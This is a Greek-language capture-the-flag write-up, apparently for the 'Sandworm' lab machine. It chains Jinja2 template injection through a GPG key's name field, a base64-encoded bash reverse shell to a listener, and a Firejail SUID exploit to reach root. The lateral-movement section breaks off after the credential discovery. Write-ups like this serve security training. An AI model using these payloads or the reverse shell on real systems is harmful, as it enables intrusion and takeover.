Το Sandworm αλυσιδώνει πολλαπλές τεχνικές για να φτάσει σε root: Server-Side Template Injection μέσα από το πεδίο ονόματος ενός κλειδιού GPG (Jinja2), πλευρική κίνηση μέσω hardcoded credentials που βρέθηκαν σε ένα αρχείο session της HTTPie, privilege escalation μέσω ενός εγγράψιμου Rust crate που ξαναμεταγλωττίζεται από ένα cron job, και τέλος ένα Firejail SUID exploit για root.
Το /guide εκθέτει μια φόρμα επαλήθευσης υπογραφής PGP με δύο πεδία: Public Key και Signed Text. Το πεδίο Real Name του κλειδιού αντανακλάται στο αποτέλεσμα επαλήθευσης — μια κλασική επιφάνεια injection.
Εκμετάλλευση — SSTI μέσω GPG
Επιβεβαίωση του σημείου injection
Δημιουργούμε ένα κλειδί GPG χρησιμοποιώντας μια αριθμητική έκφραση Jinja2 ως πεδίο Real Name. Αν το template engine την κάνει evaluate, έχουμε SSTI.
Υποβάλλουμε και τα δύο στη φόρμα επαλήθευσης /guide. Το αποτέλεσμα δείχνει 49 ως ταυτότητα υπογράφοντα — SSTI Jinja2 επιβεβαιωμένο.
GOODSIG — Good signature from "49" [unknown] — το {{7*7}} έγινε evaluate server-side.
Remote code execution
Διαγράφουμε το δοκιμαστικό κλειδί, το ξαναδημιουργούμε με ένα payload RCE στο πεδίο name:
gpg — payload RCE
SP1R4@kali)-[~]└$ gpg --delete-secret-keys test@test.com && gpg --delete-keys test@test.com# Νέο κλειδί — το πεδίο name είναι το payload μαςSP1R4@kali)-[~]└$ gpg --gen-keyReal name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}# Αποτέλεσμα επαλήθευσης:uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
Reverse shell — παράκαμψη με base64
Τα απευθείας shell payloads αποτυγχάνουν γιατί το GPG απορρίπτει τα < και > στο πεδίο name. Κάνουμε base64-encode το payload για παράκαμψη:
reverse shell μέσω base64
# Encode της εντολής shellSP1R4@kali)-[~]└$ echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDQ0IDA+JjEnCg==# Πεδίο name κλειδιού GPG:{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAt..." | base64 -d | bash').read() }}# ListenerSP1R4@kali)-[~]└$ nc -lvnp 4444Ncat: Listening on 0.0.0.0:4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.218] 52546
bash: no job control in this shell
SP1R4@kali)-[~]└$
Αποκτήθηκε shell ως atlas.
Πλευρική κίνηση — atlas → silentobserver
Ανακάλυψη credentials
Ψάχνοντας μέσα στον home φάκελο του atlas, βρίσκουμε ότι ο φάκελος .config περιέχει ένα αρχείο session της HTTPie με αποθηκευμένα credentials:
Το firejail έχει το SUID bit ενεργοποιημένο και είναι εκμεταλλεύσιμο μέσω ενός γνωστού local privilege escalation. Μεταφέρουμε το exploit και το τρέχουμε — απαιτεί προσέγγιση με δύο terminal:
firejail exploit — δύο terminal
# Terminal 1 — τρέχουμε το exploitSP1R4@kali)-[~]└$ chmod +x exploit.py && python3 exploit.pyYou can now run 'firejail --join=24654' in another terminal
where 'su -' should grant you a root shell.# Terminal 2 — join στο session του firejailSP1R4@kali)-[~]└$ firejail --join=24654changing root to /proc/24654/root
Child process initialized in 9.92 msSP1R4@kali)-[~]└$ su -root@sandworm:~# cat /root/root.txtd5be56ad************************